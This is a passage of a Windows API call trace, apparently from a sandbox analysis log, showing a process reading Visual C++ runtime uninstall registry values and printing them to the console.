cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0149.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.968] __iob_func () returned 0x7fefd702a80 [0149.968] _fileno (_File=0x7fefd702ab0) returned 1 [0149.968] _errno () returned 0x204bb0 [0149.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.968] _errno () returned 0x204bb0 [0149.968] GetFileType (hFile=0x50) returned 0x1 [0149.968] lstrlenW (lpString=" ") returned 4 [0149.968] GetConsoleOutputCP () returned 0x1b5 [0149.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.969] GetConsoleOutputCP () returned 0x1b5 [0149.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.969] __iob_func () returned 0x7fefd702a80 [0149.969] _fileno (_File=0x7fefd702ab0) returned 1 [0149.969] _errno () returned 0x204bb0 [0149.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.969] _errno () returned 0x204bb0 [0149.969] GetFileType (hFile=0x50) returned 0x1 [0149.969] lstrlenW (lpString="REG_SZ") returned 6 [0149.969] GetConsoleOutputCP () returned 0x1b5 [0149.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.969] GetConsoleOutputCP () returned 0x1b5 [0149.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.970] __iob_func () returned 0x7fefd702a80 [0149.970] _fileno (_File=0x7fefd702ab0) returned 1 [0149.970] _errno () returned 0x204bb0 [0149.970] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.970] _errno () returned 0x204bb0 [0149.970] GetFileType (hFile=0x50) returned 0x1 [0149.970] lstrlenW (lpString=" ") returned 4 [0149.970] GetConsoleOutputCP () returned 0x1b5 [0149.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.970] GetConsoleOutputCP () returned 0x1b5 [0149.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.971] __iob_func () returned 0x7fefd702a80 [0149.971] _fileno (_File=0x7fefd702ab0) returned 1 [0149.971] _errno () returned 0x204bb0 [0149.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.971] _errno () returned 0x204bb0 [0149.971] GetFileType (hFile=0x50) returned 0x1 [0149.971] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned 113 [0149.971] GetConsoleOutputCP () returned 0x1b5 [0149.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\", cchWideChar=113, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 113 [0149.971] GetConsoleOutputCP () returned 0x1b5 [0149.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\", cchWideChar=113, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\", lpUsedDefaultChar=0x0) returned 113 [0149.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 113 [0149.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.971] __iob_func () returned 0x7fefd702a80 [0149.971] _fileno (_File=0x7fefd702ab0) returned 1 [0149.971] _errno () returned 0x204bb0 [0149.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.971] _errno () returned 0x204bb0 [0149.971] GetFileType (hFile=0x50) returned 0x1 [0149.971] lstrlenW (lpString="\n") returned 1 [0149.971] GetConsoleOutputCP () returned 0x1b5 [0149.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.972] GetConsoleOutputCP () returned 0x1b5 [0149.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.972] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.972] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.972] GetProcessHeap () returned 0x3c0000 [0149.972] GetProcessHeap () returned 0x3c0000 [0149.972] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.972] GetProcessHeap () returned 0x3c0000 [0149.972] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe8 [0149.972] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0149.972] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.972] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.972] GetProcessHeap () returned 0x3c0000 [0149.972] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.972] GetProcessHeap () returned 0x3c0000 [0149.972] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.972] GetProcessHeap () returned 0x3c0000 [0149.972] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.972] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.972] __iob_func () returned 0x7fefd702a80 [0149.972] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.972] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.972] _fileno (_File=0x7fefd702ab0) returned 1 [0149.972] _errno () returned 0x204bb0 [0149.972] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.972] _errno () returned 0x204bb0 [0149.972] GetFileType (hFile=0x50) returned 0x1 [0149.972] lstrlenW (lpString=" ") returned 4 [0149.972] GetConsoleOutputCP () returned 0x1b5 [0149.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.973] GetConsoleOutputCP () returned 0x1b5 [0149.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.973] lstrlenW (lpString="ModifyPath") returned 10 [0149.973] __iob_func () returned 0x7fefd702a80 [0149.973] _fileno (_File=0x7fefd702ab0) returned 1 [0149.973] _errno () returned 0x204bb0 [0149.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.973] _errno () returned 0x204bb0 [0149.973] GetFileType (hFile=0x50) returned 0x1 [0149.973] lstrlenW (lpString="ModifyPath") returned 10 [0149.973] GetConsoleOutputCP () returned 0x1b5 [0149.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.973] GetConsoleOutputCP () returned 0x1b5 [0149.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0149.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.974] __iob_func () returned 0x7fefd702a80 [0149.974] _fileno (_File=0x7fefd702ab0) returned 1 [0149.974] _errno () returned 0x204bb0 [0149.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.974] _errno () returned 0x204bb0 [0149.974] GetFileType (hFile=0x50) returned 0x1 [0149.974] lstrlenW (lpString=" ") returned 4 [0149.974] GetConsoleOutputCP () returned 0x1b5 [0149.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.974] GetConsoleOutputCP () returned 0x1b5 [0149.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.974] __iob_func () returned 0x7fefd702a80 [0149.974] _fileno (_File=0x7fefd702ab0) returned 1 [0149.974] _errno () returned 0x204bb0 [0149.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.974] _errno () returned 0x204bb0 [0149.974] GetFileType (hFile=0x50) returned 0x1 [0149.974] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.974] GetConsoleOutputCP () returned 0x1b5 [0149.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.974] GetConsoleOutputCP () returned 0x1b5 [0149.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.975] __iob_func () returned 0x7fefd702a80 [0149.975] _fileno (_File=0x7fefd702ab0) returned 1 [0149.975] _errno () returned 0x204bb0 [0149.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.975] _errno () returned 0x204bb0 [0149.975] GetFileType (hFile=0x50) returned 0x1 [0149.975] lstrlenW (lpString=" ") returned 4 [0149.975] GetConsoleOutputCP () returned 0x1b5 [0149.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.975] GetConsoleOutputCP () returned 0x1b5 [0149.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.975] __iob_func () returned 0x7fefd702a80 [0149.975] _fileno (_File=0x7fefd702ab0) returned 1 [0149.975] _errno () returned 0x204bb0 [0149.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.975] _errno () returned 0x204bb0 [0149.975] GetFileType (hFile=0x50) returned 0x1 [0149.975] lstrlenW (lpString="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 52 [0149.976] GetConsoleOutputCP () returned 0x1b5 [0149.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.976] GetConsoleOutputCP () returned 0x1b5 [0149.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpUsedDefaultChar=0x0) returned 52 [0149.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.976] __iob_func () returned 0x7fefd702a80 [0149.976] _fileno (_File=0x7fefd702ab0) returned 1 [0149.976] _errno () returned 0x204bb0 [0149.976] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.976] _errno () returned 0x204bb0 [0149.976] GetFileType (hFile=0x50) returned 0x1 [0149.976] lstrlenW (lpString="\n") returned 1 [0149.976] GetConsoleOutputCP () returned 0x1b5 [0149.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.976] GetConsoleOutputCP () returned 0x1b5 [0149.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.977] GetProcessHeap () returned 0x3c0000 [0149.977] GetProcessHeap () returned 0x3c0000 [0149.977] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.977] GetProcessHeap () returned 0x3c0000 [0149.977] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.977] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.977] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.977] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.977] GetProcessHeap () returned 0x3c0000 [0149.977] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.977] GetProcessHeap () returned 0x3c0000 [0149.977] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.977] GetProcessHeap () returned 0x3c0000 [0149.977] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.977] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.977] __iob_func () returned 0x7fefd702a80 [0149.977] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.977] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.977] _fileno (_File=0x7fefd702ab0) returned 1 [0149.977] _errno () returned 0x204bb0 [0149.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.977] _errno () returned 0x204bb0 [0149.977] GetFileType (hFile=0x50) returned 0x1 [0149.977] lstrlenW (lpString=" ") returned 4 [0149.977] GetConsoleOutputCP () returned 0x1b5 [0149.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.977] GetConsoleOutputCP () returned 0x1b5 [0149.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.978] lstrlenW (lpString="NoModify") returned 8 [0149.978] __iob_func () returned 0x7fefd702a80 [0149.978] _fileno (_File=0x7fefd702ab0) returned 1 [0149.978] _errno () returned 0x204bb0 [0149.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.978] _errno () returned 0x204bb0 [0149.978] GetFileType (hFile=0x50) returned 0x1 [0149.978] lstrlenW (lpString="NoModify") returned 8 [0149.978] GetConsoleOutputCP () returned 0x1b5 [0149.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.978] GetConsoleOutputCP () returned 0x1b5 [0149.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.978] __iob_func () returned 0x7fefd702a80 [0149.978] _fileno (_File=0x7fefd702ab0) returned 1 [0149.978] _errno () returned 0x204bb0 [0149.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.978] _errno () returned 0x204bb0 [0149.978] GetFileType (hFile=0x50) returned 0x1 [0149.978] lstrlenW (lpString=" ") returned 4 [0149.978] GetConsoleOutputCP () returned 0x1b5 [0149.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.979] GetConsoleOutputCP () returned 0x1b5 [0149.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.979] __iob_func () returned 0x7fefd702a80 [0149.979] _fileno (_File=0x7fefd702ab0) returned 1 [0149.979] _errno () returned 0x204bb0 [0149.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.979] _errno () returned 0x204bb0 [0149.979] GetFileType (hFile=0x50) returned 0x1 [0149.979] lstrlenW (lpString="REG_DWORD") returned 9 [0149.979] GetConsoleOutputCP () returned 0x1b5 [0149.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.979] GetConsoleOutputCP () returned 0x1b5 [0149.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.980] __iob_func () returned 0x7fefd702a80 [0149.980] _fileno (_File=0x7fefd702ab0) returned 1 [0149.980] _errno () returned 0x204bb0 [0149.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.980] _errno () returned 0x204bb0 [0149.980] GetFileType (hFile=0x50) returned 0x1 [0149.980] lstrlenW (lpString=" ") returned 4 [0149.980] GetConsoleOutputCP () returned 0x1b5 [0149.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.980] GetConsoleOutputCP () returned 0x1b5 [0149.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.980] __iob_func () returned 0x7fefd702a80 [0149.980] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.980] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.980] _fileno (_File=0x7fefd702ab0) returned 1 [0149.980] _errno () returned 0x204bb0 [0149.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.980] _errno () returned 0x204bb0 [0149.980] GetFileType (hFile=0x50) returned 0x1 [0149.980] lstrlenW (lpString="0x1") returned 3 [0149.980] GetConsoleOutputCP () returned 0x1b5 [0149.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.981] GetConsoleOutputCP () returned 0x1b5 [0149.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.981] __iob_func () returned 0x7fefd702a80 [0149.981] _fileno (_File=0x7fefd702ab0) returned 1 [0149.981] _errno () returned 0x204bb0 [0149.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.981] _errno () returned 0x204bb0 [0149.981] GetFileType (hFile=0x50) returned 0x1 [0149.981] lstrlenW (lpString="\n") returned 1 [0149.981] GetConsoleOutputCP () returned 0x1b5 [0149.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 